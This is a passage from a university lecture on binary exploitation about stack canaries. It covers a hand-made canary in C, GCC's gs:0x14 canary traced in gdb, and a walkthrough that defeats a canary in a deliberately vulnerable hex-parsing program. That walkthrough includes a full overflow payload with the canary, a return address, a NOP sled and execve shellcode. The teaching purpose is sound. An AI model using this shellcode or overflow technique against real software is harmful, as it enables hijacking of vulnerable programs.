SI485H: Stack Based Binary Exploits and Defenses (F15)

Home Policy Calendar Resources

Lec. 18: Stack Canaries

Table of Contents

1 Stack Smashing Detected

At some point in your programming life, you may have noticed the following error message, either because (like in this class) you are trying to smash the stack, or because you made some sort of a programming error (more likely).

user@si485H-base:demo$ ./smasher `python -c "print 'A'*100"`
You said: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: ./smasher terminated
Aborted (core dumped)

What is this that error? How is it generated? How is it tested for? How do we defeat such a check? That's what we'll be working on next.

1.1 Stack Guards and Canaries

A stack guard or a canary is a bit of data that sits between your buffer and the return address and acts as a warning when buffers are overflowed and the return address might be overwritten. The term "canary" comes from the ol' cold mines, where the canary is more sensitive to deadly and orderless natural gases that can sneak up on miners. If the canary is found dead, then everyone knows it is time to evacuate the cave. Similarly, in the program, if the canary is overwritten, the program knows it is time to abort the operation and report an error rather than actually returning from the function and potentially setting up a vulnerability.

1.2 Implementing Stack Guards and Canaries

While the canaries are added in through a compilation process with gcc—and we will take a look at that in more detail in a bit—we can also implement our own version of canary checks to see how this process all works. Here's some sample code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int _canary;

//initialize the cannary at program start up
__attribute__ ((constructor)) int initcannary(){
  srand(time(NULL));
  int canary = random(); //choose random 4 byte value
  canary &= 0xffffff00; // zero at last byte
  canary |= 0x01010100; //nothing but last byte can be zero
  _canary = canary;
}


void check_canary(char * buf, int len){
  //check canary to see if it survived
  if( *((unsigned int *) &buf[len]) != _canary){
    fprintf(stderr, "**STACK SMASHING DETECTED**\n");
    abort();
  }
}

void set_canary(char * buf, int len){
  //add canary to end of buffer
  *((unsigned int *) &buf[len]) =  _canary;
}

void foo(char * s){

  char buf[10]; 
  set_canary(buf,10);

  strcpy(buf,s);

  printf("You said: %s\n",buf);

  //check the canary before return
  check_canary(buf,10);
  return;
}

int main(int argc, char *argv[]){

  foo(argv[1]);

}

First focus on the foo function, where after declaring the static array, the canary is set, and after before the return, the canary is checked. The remaining functions, initialize the canary, set the canary, and check the canary.

What is the "canary" in this context? it's just an integer whose least significant byte is 0. This is set in the function initcanary sets this up, and that function is also a C constructor function, which is a special attribute to the function that forces it to run before main(). The canary value is assigned to a global variable to be referred to later.

The check_canary and set_canary functions leverage the fact that following the buffer allocation on the stack, there tends to be a bit of extra space. That's where we'll place our canary, immediately following that spot, and now we can set and check as needed.

Let's see how it works:

user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*8"`
You said: AAAAAAAA
user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*9"`
You said: AAAAAAAAA
user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*10"`
You said: AAAAAAAAAA
user@si485H-base:demo$ ./mycanaries `python -c "print 'A'*11"`
You said: AAAAAAAAAAA
**STACK SMASHING DETECTED**
Aborted (core dumped)

… like a charm.

1.3 The anatomy of a canary

Let's take a closer look at the initcanary function to understand the anatomy of what makes a good canary:

//initialize the cannary at program start up
__attribute__ ((constructor)) int initcannary(){
  srand(time(NULL));
  int canary = random(); //choose random 4 byte value
  canary &= 0xffffff00; // zero at last byte
  canary |= 0x01010100; //nothing but last byte can be zero
  _canary = canary;
}

The rules are:

  1. The canary should be a random value
  2. The canary should have the least significant byte be zero
  3. The canary should have no NULLs elsewhere

For rule 1, the reason is somewhat obvious. If we new canary value was not random, then we would know what it is and just include it in our exploit string.

Rule 2 and 3 are a bit less clear. The reason for these is that we want to zealously check the canary value, but we want to allow for small overruns of a buffer, as what might happen when we copy the NULL byte in strcpy(), but anything more than that we want to detect. Also, we don't want excess NULL bytes in the canary in case of benign overruns and also could effect the string null termination.

There is also another VERY important reason for the canary to have a NULL byte! Consider what happens when your exploit has a NULL byte and your leveraging strcpy()? Well strcpy() will stop at the null byte and thus you can't easily overwrite the canary, even if you knew it or were trying to guess it.

1.4 Watching Canaries in Action

Finally, to put all the pieces together, we need to be able to see the cannery in action to understand its function. To do that, I've written a nifty little function that will print the stack of a calling process, so called printstack(), whose source is below:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/**
 *fname : function name
 *argc  : number of WORD size arguments
 **/
void print_stack(char * fname, int argc){
  /* Function for printing calling functions stack frame */
  unsigned int * base_p;
  unsigned int * saved_p;
  unsigned int * stack_p;
  unsigned int * cur;

  //embedded ASM to retrieve base pointer and saved base pointer
  __asm__ __volatile__ ("mov %%ebp, %[base_p]" : 
                        [base_p] "=r" (base_p));
  __asm__ __volatile__ ("mov 0(%%ebp), %[saved_p]" : 
                        [saved_p] "=r" (saved_p));

  //set stack frame info to calling stack frame
  stack_p = base_p;
  base_p = saved_p;

  //output information
  printf("--- STACK %s ---\n",fname);
  for(cur = base_p+argc+1; cur >= stack_p; cur--){
    if (cur == base_p){
      printf("%p <ebp>: %08x\n", cur, *cur);
    }else if (cur <= base_p){
      printf("%p <ebp-0x%x>: %08x\n", cur, 
             (unsigned int) (base_p-cur) * 4, *cur);
    }else{
      printf("%p <ebp+0x%x>: %08x\n", cur, 
             (unsigned int) (cur-base_p) * 4, *cur);
    }
  } 

}

Don't worry too much about how it works, but it embeds a bit of assembly into the program to reconstruct the calling stack frame and print out a well formatted version of the stack so we can take a look around. Here's the foo function updated with the print_stack function:

void foo(char * s){

  char buf[10]; 
  set_canary(buf,10);

  //inspect stack before
  print_stack("foo",1);

  strcpy(buf,s);

  printf("You said: %s\n",buf);

  //inspect stack after
  print_stack("foo",1);

  //check the canary before return
  check_canary(buf,10);
  return;
}

And now when we run it, we can see what happens. Let's start by inspecting for a run where nothing should go wrong:

user@si485H-base:demo$ ./mycanaries_print-stack `python -c "print 'A'*9"`
--- STACK foo ---
0xbffff680 <ebp+0x8>: bffff878
0xbffff67c <ebp+0x4>: 08048765
0xbffff678 <ebp>: bffff698
0xbffff674 <ebp-0x4>: bffff734
0xbffff670 <ebp-0x8>: 0d173300 //<--- Canary
0xbffff66c <ebp-0xc>: 080487c2
0xbffff668 <ebp-0x10>: 00000002
0xbffff664 <ebp-0x14>: 0000002f
0xbffff660 <ebp-0x18>: bffff85f
0xbffff65c <ebp-0x1c>: 0d173300
0xbffff658 <ebp-0x20>: 00000001
0xbffff654 <ebp-0x24>: 00000001
0xbffff650 <ebp-0x28>: 08048869
0xbffff64c <ebp-0x2c>: 080486fd
0xbffff648 <ebp-0x30>: bffff678
You said: AAAAAAAAA
--- STACK foo ---
0xbffff680 <ebp+0x8>: bffff878
0xbffff67c <ebp+0x4>: 08048765
0xbffff678 <ebp>: bffff698
0xbffff674 <ebp-0x4>: bffff734
0xbffff670 <ebp-0x8>: 0d173300 //<--- Canary
0xbffff66c <ebp-0xc>: 00414141
0xbffff668 <ebp-0x10>: 41414141
0xbffff664 <ebp-0x14>: 4141002f //<--- Buffer of A's
0xbffff660 <ebp-0x18>: bffff85f
0xbffff65c <ebp-0x1c>: 0d173300
0xbffff658 <ebp-0x20>: 00000001
0xbffff654 <ebp-0x24>: 00000001
0xbffff650 <ebp-0x28>: 08048869
0xbffff64c <ebp-0x2c>: 08048736
0xbffff648 <ebp-0x30>: bffff678

You see that the buffer comes short of killing the canary. Now, let's do 10 A's:

user@si485H-base:demo$ ./mycanaries_print-stack `python -c "print 'A'*10"`
--- STACK foo ---
0xbffff680 <ebp+0x8>: bffff877
0xbffff67c <ebp+0x4>: 08048765
0xbffff678 <ebp>: bffff698
0xbffff674 <ebp-0x4>: bffff734
0xbffff670 <ebp-0x8>: 21818b00
0xbffff66c <ebp-0xc>: 080487c2
0xbffff668 <ebp-0x10>: 00000002
0xbffff664 <ebp-0x14>: 0000002f
0xbffff660 <ebp-0x18>: bffff85e
0xbffff65c <ebp-0x1c>: 21818b00
0xbffff658 <ebp-0x20>: 00000001
0xbffff654 <ebp-0x24>: 00000001
0xbffff650 <ebp-0x28>: 08048869
0xbffff64c <ebp-0x2c>: 080486fd
0xbffff648 <ebp-0x30>: bffff678
You said: AAAAAAAAAA
--- STACK foo ---
0xbffff680 <ebp+0x8>: bffff877
0xbffff67c <ebp+0x4>: 08048765
0xbffff678 <ebp>: bffff698
0xbffff674 <ebp-0x4>: bffff734
0xbffff670 <ebp-0x8>: 21818b00  //<-- strcpy overrights 0x00 in canary
0xbffff66c <ebp-0xc>: 41414141
0xbffff668 <ebp-0x10>: 41414141
0xbffff664 <ebp-0x14>: 4141002f //<-- Buffer of A's
0xbffff660 <ebp-0x18>: bffff85e
0xbffff65c <ebp-0x1c>: 21818b00
0xbffff658 <ebp-0x20>: 00000001
0xbffff654 <ebp-0x24>: 00000001
0xbffff650 <ebp-0x28>: 08048869
0xbffff64c <ebp-0x2c>: 08048736
0xbffff648 <ebp-0x30>: bffff678

This time the buffer of A's is all filled up, but we used strcpy() which will copy the NULL byte to the end. That means that 11 bytes are written, the last one being 0x00. Fortunately, because our canary has a 0x00 in our last byte, we don't abort. However, at 11 we do:

user@si485H-base:demo$ ./mycanaries_print-stack `python -c "print 'A'*11"`
--- STACK foo ---
0xbffff680 <ebp+0x8>: bffff876
0xbffff67c <ebp+0x4>: 08048765
0xbffff678 <ebp>: bffff698
0xbffff674 <ebp-0x4>: bffff734
0xbffff670 <ebp-0x8>: 0f69b900
0xbffff66c <ebp-0xc>: 080487c2
0xbffff668 <ebp-0x10>: 00000002
0xbffff664 <ebp-0x14>: 0000002f
0xbffff660 <ebp-0x18>: bffff85d
0xbffff65c <ebp-0x1c>: 0f69b900
0xbffff658 <ebp-0x20>: 00000001
0xbffff654 <ebp-0x24>: 00000001
0xbffff650 <ebp-0x28>: 08048869
0xbffff64c <ebp-0x2c>: 080486fd
0xbffff648 <ebp-0x30>: bffff678
You said: AAAAAAAAAAA
--- STACK foo ---
0xbffff680 <ebp+0x8>: bffff876
0xbffff67c <ebp+0x4>: 08048765
0xbffff678 <ebp>: bffff698
0xbffff674 <ebp-0x4>: bffff734
0xbffff670 <ebp-0x8>: 0f690041 //<--- Canary Dead :(
0xbffff66c <ebp-0xc>: 41414141
0xbffff668 <ebp-0x10>: 41414141
0xbffff664 <ebp-0x14>: 4141002f
0xbffff660 <ebp-0x18>: bffff85d
0xbffff65c <ebp-0x1c>: 0f69b900
0xbffff658 <ebp-0x20>: 00000001
0xbffff654 <ebp-0x24>: 00000001
0xbffff650 <ebp-0x28>: 08048869
0xbffff64c <ebp-0x2c>: 08048736
0xbffff648 <ebp-0x30>: bffff678
**STACK SMASHING DETECTED**
Aborted (core dumped)

Now the canary is dead, and the world has been saved from one more exploit.

2 GCC's implementation of Stack Canaries

So far, we've been compiling our programs such that stack protectors have been turned off:

gcc -fno-stack-protector -z execstack

Now, let's compile a few programs with included stack protectors so we can get a better sense of how gcc implements these. (Note, we'll turn off the execstack option at some point soon).

user@si485H-base:demo$ cat smasher.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo(char * s){
  char buf[10];
  strcpy(buf,s);

  printf("You said: %s\n",buf);
}


int main(int argc, char *argv[]){

  foo(argv[1]);

}
user@si485H-base:demo$ gcc -z execstack smasher.c -o smasher
user@si485H-base:demo$ ./smasher `python -c "print 'A'*9"`
You said: AAAAAAAAA
user@si485H-base:demo$ ./smasher `python -c "print 'A'*10"`
You said: AAAAAAAAAA
user@si485H-base:demo$ ./smasher `python -c "print 'A'*11"`
You said: AAAAAAAAAAA
 *** stack smashing detected ***: ./smasher terminated
Aborted (core dumped)

2.1 Disassembling Canary Code

We can start by placing a break point at foo, and looking at the disassembly in gdb.:

(gdb) br foo
Breakpoint 1 at 0x80484a9: file smasher.c, line 5.
(gdb) r `python -c "print 'A'*11"`
Starting program: /home/user/git/si485-binary-exploits/lec/18/demo/smasher `python -c "print 'A'*11"`

Breakpoint 1, foo (s=0xbffff87d 'A' <repeats 11 times>) at smasher.c:5
5	void foo(char * s){
(gdb) ds foo
Dump of assembler code for function foo:
   0x0804849d <+0>:	push   ebp
   0x0804849e <+1>:	mov    ebp,esp
   0x080484a0 <+3>:	sub    esp,0x28
   0x080484a3 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080484a6 <+9>:	mov    DWORD PTR [ebp-0x1c],eax
=> 0x080484a9 <+12>:	mov    eax,gs:0x14
   0x080484af <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x080484b2 <+21>:	xor    eax,eax
   0x080484b4 <+23>:	mov    eax,DWORD PTR [ebp-0x1c]
   0x080484b7 <+26>:	mov    DWORD PTR [esp+0x4],eax
   0x080484bb <+30>:	lea    eax,[ebp-0x16]
   0x080484be <+33>:	mov    DWORD PTR [esp],eax
   0x080484c1 <+36>:	call   0x8048370 <strcpy@plt>
   0x080484c6 <+41>:	lea    eax,[ebp-0x16]
   0x080484c9 <+44>:	mov    DWORD PTR [esp+0x4],eax
   0x080484cd <+48>:	mov    DWORD PTR [esp],0x80485a0
   0x080484d4 <+55>:	call   0x8048350 <printf@plt>
   0x080484d9 <+60>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484dc <+63>:	xor    eax,DWORD PTR gs:0x14
   0x080484e3 <+70>:	je     0x80484ea <foo+77>
   0x080484e5 <+72>:	call   0x8048360 <__stack_chk_fail@plt>
   0x080484ea <+77>:	leave  
   0x080484eb <+78>:	ret    
End of assembler dump.

One thing you might notice is that there is a bit more initialization at the top of the function. In particular, the code for argument is moved from ebp+0x8 down the stack to ebp-0x1c. This is to also protect it from overruns. More importantly, is the next two three lines, which: (1) grab a value from address gs:0x14 and then (2) move that value onto the stack at ebp-0xc. That is the cannary.

The gs:0x14 refers to an address in the threads local storage, and the gs register is used to calculate an offset into that storage location. The gs:0x14 is a logical address used based on calculating an offset of 0x14 from the start of the segment. Unfortunately, we can't easily inspect this segment in gdb, but we can take a step and see what the canary is.

(gdb) ni
0x080484af	5	void foo(char * s){
(gdb) ds
Dump of assembler code for function foo:
   0x0804849d <+0>:	push   ebp
   0x0804849e <+1>:	mov    ebp,esp
   0x080484a0 <+3>:	sub    esp,0x28
   0x080484a3 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080484a6 <+9>:	mov    DWORD PTR [ebp-0x1c],eax
   0x080484a9 <+12>:	mov    eax,gs:0x14
=> 0x080484af <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x080484b2 <+21>:	xor    eax,eax
   0x080484b4 <+23>:	mov    eax,DWORD PTR [ebp-0x1c]
   0x080484b7 <+26>:	mov    DWORD PTR [esp+0x4],eax
   0x080484bb <+30>:	lea    eax,[ebp-0x16]
   0x080484be <+33>:	mov    DWORD PTR [esp],eax
   0x080484c1 <+36>:	call   0x8048370 <strcpy@plt>
   0x080484c6 <+41>:	lea    eax,[ebp-0x16]
   0x080484c9 <+44>:	mov    DWORD PTR [esp+0x4],eax
   0x080484cd <+48>:	mov    DWORD PTR [esp],0x80485a0
   0x080484d4 <+55>:	call   0x8048350 <printf@plt>
   0x080484d9 <+60>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484dc <+63>:	xor    eax,DWORD PTR gs:0x14
   0x080484e3 <+70>:	je     0x80484ea <foo+77>
   0x080484e5 <+72>:	call   0x8048360 <__stack_chk_fail@plt>
   0x080484ea <+77>:	leave  
   0x080484eb <+78>:	ret    
End of assembler dump.
(gdb) p/x $eax
$1 = 0x3444a500
(gdb)

There it is. Now this value is written to ebp-0xc, which is exactly the 4-bytes following the buffer, which is at location ebp-0x16, or 10 bytes away (0x16-0xc = 22-12 = 10). After initializing the canary, the next relevant item is the call to __stack_chk_fail before the leave and return. This will look at the canary and make sure that it's value hasn't changed. If so, it will do the abort.

Lets now continue until right before the call to strcpy() and inspect the stack:

(gdb) br *0x080484c1
Breakpoint 2 at 0x80484c1: file smasher.c, line 7.
(gdb) c
Continuing.

Breakpoint 2, 0x080484c1 in foo (s=0xbffff87d 'A' <repeats 11 times>) at smasher.c:7
7	  strcpy(buf,s);
(gdb) ds
Dump of assembler code for function foo:
   0x0804849d <+0>:	push   ebp
   0x0804849e <+1>:	mov    ebp,esp
   0x080484a0 <+3>:	sub    esp,0x28
   0x080484a3 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080484a6 <+9>:	mov    DWORD PTR [ebp-0x1c],eax
   0x080484a9 <+12>:	mov    eax,gs:0x14
   0x080484af <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x080484b2 <+21>:	xor    eax,eax
   0x080484b4 <+23>:	mov    eax,DWORD PTR [ebp-0x1c]
   0x080484b7 <+26>:	mov    DWORD PTR [esp+0x4],eax
   0x080484bb <+30>:	lea    eax,[ebp-0x16]
   0x080484be <+33>:	mov    DWORD PTR [esp],eax
=> 0x080484c1 <+36>:	call   0x8048370 <strcpy@plt>
   0x080484c6 <+41>:	lea    eax,[ebp-0x16]
   0x080484c9 <+44>:	mov    DWORD PTR [esp+0x4],eax
   0x080484cd <+48>:	mov    DWORD PTR [esp],0x80485a0
   0x080484d4 <+55>:	call   0x8048350 <printf@plt>
   0x080484d9 <+60>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484dc <+63>:	xor    eax,DWORD PTR gs:0x14
   0x080484e3 <+70>:	je     0x80484ea <foo+77>
   0x080484e5 <+72>:	call   0x8048360 <__stack_chk_fail@plt>
   0x080484ea <+77>:	leave  
   0x080484eb <+78>:	ret    
End of assembler dump.
(gdb) x/10x $ebp-0x20
0xbffff648:	0x00000001	0xbffff87d	0xbffff844	0x0000002f
0xbffff658:	0x0804a000	0x3444a500	0x00000002	0xbffff724
0xbffff668:	0xbffff688	0x08048505

At this point, we can see the stack as we are about to fill it in. We can also see the canary value 0x3444a500, nd all the way up to the return address 0x0804850. Now if we take one more step, this picture changes:

(gdb) ni
9	  printf("You said: %s\n",buf);
(gdb) ds
Dump of assembler code for function foo:
   0x0804849d <+0>:	push   ebp
   0x0804849e <+1>:	mov    ebp,esp
   0x080484a0 <+3>:	sub    esp,0x28
   0x080484a3 <+6>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080484a6 <+9>:	mov    DWORD PTR [ebp-0x1c],eax
   0x080484a9 <+12>:	mov    eax,gs:0x14
   0x080484af <+18>:	mov    DWORD PTR [ebp-0xc],eax
   0x080484b2 <+21>:	xor    eax,eax
   0x080484b4 <+23>:	mov    eax,DWORD PTR [ebp-0x1c]
   0x080484b7 <+26>:	mov    DWORD PTR [esp+0x4],eax
   0x080484bb <+30>:	lea    eax,[ebp-0x16]
   0x080484be <+33>:	mov    DWORD PTR [esp],eax
   0x080484c1 <+36>:	call   0x8048370 <strcpy@plt>
=> 0x080484c6 <+41>:	lea    eax,[ebp-0x16]
   0x080484c9 <+44>:	mov    DWORD PTR [esp+0x4],eax
   0x080484cd <+48>:	mov    DWORD PTR [esp],0x80485a0
   0x080484d4 <+55>:	call   0x8048350 <printf@plt>
   0x080484d9 <+60>:	mov    eax,DWORD PTR [ebp-0xc]
   0x080484dc <+63>:	xor    eax,DWORD PTR gs:0x14
   0x080484e3 <+70>:	je     0x80484ea <foo+77>
   0x080484e5 <+72>:	call   0x8048360 <__stack_chk_fail@plt>
   0x080484ea <+77>:	leave  
   0x080484eb <+78>:	ret    
End of assembler dump.
(gdb) x/8x $ebp-0x18
0xbffff650:	0x4141f844	0x41414141	0x41414141	0x34440041
0xbffff660:	0x00000002	0xbffff724	0xbffff688	0x08048505

After this, our canary is dead. And with a final continue, we'll never reach the leave and return.

(gdb) c
Continuing.
You said: AAAAAAAAAAA
 *** stack smashing detected ***: /home/user/git/si485-binary-exploits/lec/18/demo/smasher terminated

Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()

2.2 Canaries Are Consistent across Function Calls and Forks

Another interesting thing to notice about canaries is that they do not change throughout the entire run of a program. We can see this in this single sample program:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include "print_stack.h"

void foo(char * s){
  
  char buf[10];
  strcpy(buf,s);

  printf("%s\n",buf);
  print_stack("foo",1);
  
}

int main(){
  int i;
  for(i=0;i<2;i++){
    if(fork() == 0){
      foo("AAAAAAAAAA");
    }
    wait(0);
  }
}

This function forks 3 times, once in a child, and calls foo with a print_stack, and the result is:

user@si485H-base:demo$ ./fork_guards 
AAAAAAAAAA
--- STACK foo ---
0xbffff6a0 <ebp+0x8>: 08048790
0xbffff69c <ebp+0x4>: 08048690
0xbffff698 <ebp>: bffff6c8
0xbffff694 <ebp-0x4>: 00000000
0xbffff690 <ebp-0x8>: 00000000
0xbffff68c <ebp-0xc>: 8826c000
0xbffff688 <ebp-0x10>: 41414141
0xbffff684 <ebp-0x14>: 41414141
0xbffff680 <ebp-0x18>: 4141f6c8
0xbffff67c <ebp-0x1c>: 08048790
0xbffff678 <ebp-0x20>: 00000000
0xbffff674 <ebp-0x24>: 00000001
0xbffff670 <ebp-0x28>: 0804878c
0xbffff66c <ebp-0x2c>: 08048655
0xbffff668 <ebp-0x30>: bffff698
AAAAAAAAAA
--- STACK foo ---
0xbffff6a0 <ebp+0x8>: 08048790
0xbffff69c <ebp+0x4>: 08048690
0xbffff698 <ebp>: bffff6c8
0xbffff694 <ebp-0x4>: 00000000
0xbffff690 <ebp-0x8>: 00000000
0xbffff68c <ebp-0xc>: 8826c000
0xbffff688 <ebp-0x10>: 41414141
0xbffff684 <ebp-0x14>: 41414141
0xbffff680 <ebp-0x18>: 4141f6c8
0xbffff67c <ebp-0x1c>: 08048790
0xbffff678 <ebp-0x20>: 00000000
0xbffff674 <ebp-0x24>: 00000001
0xbffff670 <ebp-0x28>: 0804878c
0xbffff66c <ebp-0x2c>: 08048655
0xbffff668 <ebp-0x30>: bffff698
AAAAAAAAAA
--- STACK foo ---
0xbffff6a0 <ebp+0x8>: 08048790
0xbffff69c <ebp+0x4>: 08048690
0xbffff698 <ebp>: bffff6c8
0xbffff694 <ebp-0x4>: 00000000
0xbffff690 <ebp-0x8>: 00000000
0xbffff68c <ebp-0xc>: 8826c000
0xbffff688 <ebp-0x10>: 41414141
0xbffff684 <ebp-0x14>: 41414141
0xbffff680 <ebp-0x18>: 4141f6c8
0xbffff67c <ebp-0x1c>: 08048790
0xbffff678 <ebp-0x20>: 00000000
0xbffff674 <ebp-0x24>: 00000001
0xbffff670 <ebp-0x28>: 0804878c
0xbffff66c <ebp-0x2c>: 08048655
0xbffff668 <ebp-0x30>: bffff698

IF you look closely, you'll see that the canary 0x00c02688 is the same in all instances. This might be something we can leverage when defeating the canary.

3 Defeating Stack Canaries

It is actually really hard to defeat a stack canary. It requires a bit of luck (guessing the canary) and some really poorly written code. Just generally bad code won't do it, the code has to be pretty bad.

Before we get into all of that, there is another way to defeat a canary, which is jumping the canary entirely. We don't quite yet know how to do that, but we will get there soon.

3.1 Some Really Bad Code

To not kill the canary, we need vulnerable program that will overrun a buffer and also(!) write null bytes along the way. This is so we can handle the issue of the canary having nulls. Here's some sample code that will do that:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void foo( char ** args){
  char numbers[40];

  int i;
  for(i=0; *args; args++,i+=4){
    sscanf(*args,"%x", (int*) &numbers[i]);
  }

  int j;
  for(j=0;j<i;j+=4){
    printf("0x%x: %c%c%c%c\n", 
           j, 
           numbers[j],
           numbers[j+1],
           numbers[j+2],
           numbers[j+3]);

  }

}

int main(int argc,char *argv[]){
  foo(argv+1);
}

The program reads in command line fields as hex numbers and prints them out as strings. It is actually not a useless program, but there is a vulnerability. We can overrun the numbers array. Let's see that happen:

user@si485H-base:demo$ ./hex_to_char 0x41424344 0x45464748 0x494a4b4c 0x4d4e4f50
0x0: DCBA
0x4: HGFE
0x8: LKJI
0xc: PONM

If we go a bit extreme stack smash detected!:

user@si485H-base:demo$ ./hex_to_char `python -c "print ' '.join(map(hex,range(0x41414141,0x41414150)))"`
0x0: AAAA
0x4: BAAA
0x8: CAAA
0xc: DAAA
0x10: EAAA
0x14: FAAA
0x18: GAAA
0x1c: HAAA
0x20: IAAA
0x24: JAAA
0x28: KAAA
0x2c: LAAA
0x30: MAAA
0x34: NAAA
0x38: OAAA
 *** stack smashing detected ***: ./hex_to_char terminated
Aborted (core dumped)

If we look at the first part of the disassembly of the vulnerable foo function in gdb:

0x080484bd <+0>:	push   ebp
 0x080484be <+1>:	mov    ebp,esp
 0x080484c0 <+3>:	push   esi
 0x080484c1 <+4>:	push   ebx
 0x080484c2 <+5>:	sub    esp,0x60
 0x080484c5 <+8>:	mov    eax,DWORD PTR [ebp+0x8]
 0x080484c8 <+11>:	mov    DWORD PTR [ebp-0x4c],eax
 0x080484cb <+14>:	mov    eax,gs:0x14
 0x080484d1 <+20>:	mov    DWORD PTR [ebp-0xc],eax
 0x080484d4 <+23>:	xor    eax,eax
 0x080484d6 <+25>:	mov    DWORD PTR [ebp-0x3c],0x0
 0x080484dd <+32>:	jmp    0x8048508 <foo+75>
 0x080484df <+34>:	lea    edx,[ebp-0x34]
 0x080484e2 <+37>:	mov    eax,DWORD PTR [ebp-0x3c]
 0x080484e5 <+40>:	add    edx,eax
 0x080484e7 <+42>:	mov    eax,DWORD PTR [ebp-0x4c]
 0x080484ea <+45>:	mov    eax,DWORD PTR [eax]
 0x080484ec <+47>:	mov    DWORD PTR [esp+0x8],edx
 0x080484f0 <+51>:	mov    DWORD PTR [esp+0x4],0x8048650
 0x080484f8 <+59>:	mov    DWORD PTR [esp],eax
 0x080484fb <+62>:	call   0x80483b0 <__isoc99_sscanf@plt>

We learn the following things:

  • The canary is at ebp-0xc
  • The buffer is at ebp-0x34
  • The int i is at ebp-0x3c

That means we have 0x3c or 40 bytes or 8 integers to get to the canary, then it is 0xf or 16 bytes or 4 integers to overwrite the return address. Our exploit needs to look something like this:

user@si485H-base:demo$ ./hex_to_char `python -c "print '0x646170 '*10 + '0x6e616300 ' + '0x646170 '*4 +'0x72646461 ' + '0x706f6e '*10 + '0x6c656873 '*5"`
0x0: pad
0x4: pad
0x8: pad
0xc: pad
0x10: pad
0x14: pad
0x18: pad
0x1c: pad
0x20: pad
0x24: pad
0x28: can
0x2c: pad
0x30: pad
0x34: pad
0x38: pad
0x3c: addr
0x40: nop
0x44: nop
0x48: nop
0x4c: nop
0x50: nop
0x54: nop
0x58: nop
0x5c: nop
0x60: nop
0x64: nop
0x68: shel
0x6c: shel
0x70: shel
0x74: shel
0x78: shel
 *** stack smashing detected ***: ./hex_to_char terminated
Aborted (core dumped)

The exploit is we first do some padding, then the canary, then more padding, the return address, nops, the shell code. Easy, right? Let's see how we can do this in gdb.

3.2 Defeating a Canary in GDB

The first thing we need is to set up our shell code:

user@si485H-base:demo$ echo $(printf `./hexify.sh smallest_shell` | ./le-fourbytes.py - | tr "\n" " ")
0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080

Then we need to run under gdb with the right padding and everything, we can start gdb, execute with those arguments, and break in foo to learn the canary value:



Ok, so now that we now our canary value and where to jump, let's restart the program with those values:

(gdb) br foo
Breakpoint 1 at 0x80484cb: file hex_to_char.c, line 5.
(gdb) r `python -c "print '0x41414141 '*10 + '0xcafebabe ' + '0x41414141 '*3 +'0xdeadbeef ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"`

Starting program: /home/user/git/si485-binary-exploits/lec/18/demo/hex_to_char `python -c "print '0x41414141 '*10 + '0xcafebabe ' + '0x41414141 '*3 +'0xdeadbeef ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"`
Breakpoint 1, foo (args=0xbffff548) at hex_to_char.c:5
5	void foo( char ** args){
(gdb)ds
Dump of assembler code for function foo:
   0x080484bd <+0>:	push   ebp
   0x080484be <+1>:	mov    ebp,esp
   0x080484c0 <+3>:	push   esi
   0x080484c1 <+4>:	push   ebx
   0x080484c2 <+5>:	sub    esp,0x60
   0x080484c5 <+8>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080484c8 <+11>:	mov    DWORD PTR [ebp-0x4c],eax
=> 0x080484cb <+14>:	mov    eax,gs:0x14
   0x080484d1 <+20>:	mov    DWORD PTR [ebp-0xc],eax
   0x080484d4 <+23>:	xor    eax,eax
  (...)
(gdb) ni
(gdb) p/x $eax
$1 = 0x90ba2000
(gdb) x/4xw $ebp
0xbffff498:	0xbffff4b8	0x080485b0	0xbffff558	0xb7fff000

We now know a canary (0x90ba2000) value and we know a location to jump to (0xbfff4a*), so we can restart our program with those values. But when we do that, the cannary value has changed:

(gdb) r `python -c "print '0x41414141 '*10 + '0x90ba2000 ' + '0x41414141 '*3 +'0xbffff4a4 ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/user/git/si485-binary-exploits/lec/18/demo/hex_to_char `python -c "print '0x41414141 '*10 + '0x90ba2000 ' + '0x41414141 '*3 +'0xbffff4a4 ' + '0x90909090 '*10 + '0xe1f7c931 0x2f6e6850 0x2f686873 0x8969622f 0xcd0bb0e3 0x90909080'"`

Breakpoint 1, foo (args=0xbffff558) at hex_to_char.c:5
5	void foo( char ** args){
(gdb) ni
0x080484d1	5	void foo( char ** args){
(gdb) p/x $eax
$2 = 0xaae87500

And in here lies the problem: Every time we restart the program we loose the canary, but we can pretend like we knew it before hand by modifying our input in gdb:

(gdb) x/s *(args+10)
0xbffff79e:	"0x90ba2000"
(gdb) set *(args+10)="0xaae87500"
(gdb) x/s *(args+10)
0x804b008:	"0xaae87500"

And if were to now remove the breakpoints and continue:

(gdb) d
Delete all breakpoints? (y or n) y
(gdb) c
Continuing.
0x0: AAAA
0x4: AAAA
0x8: AAAA
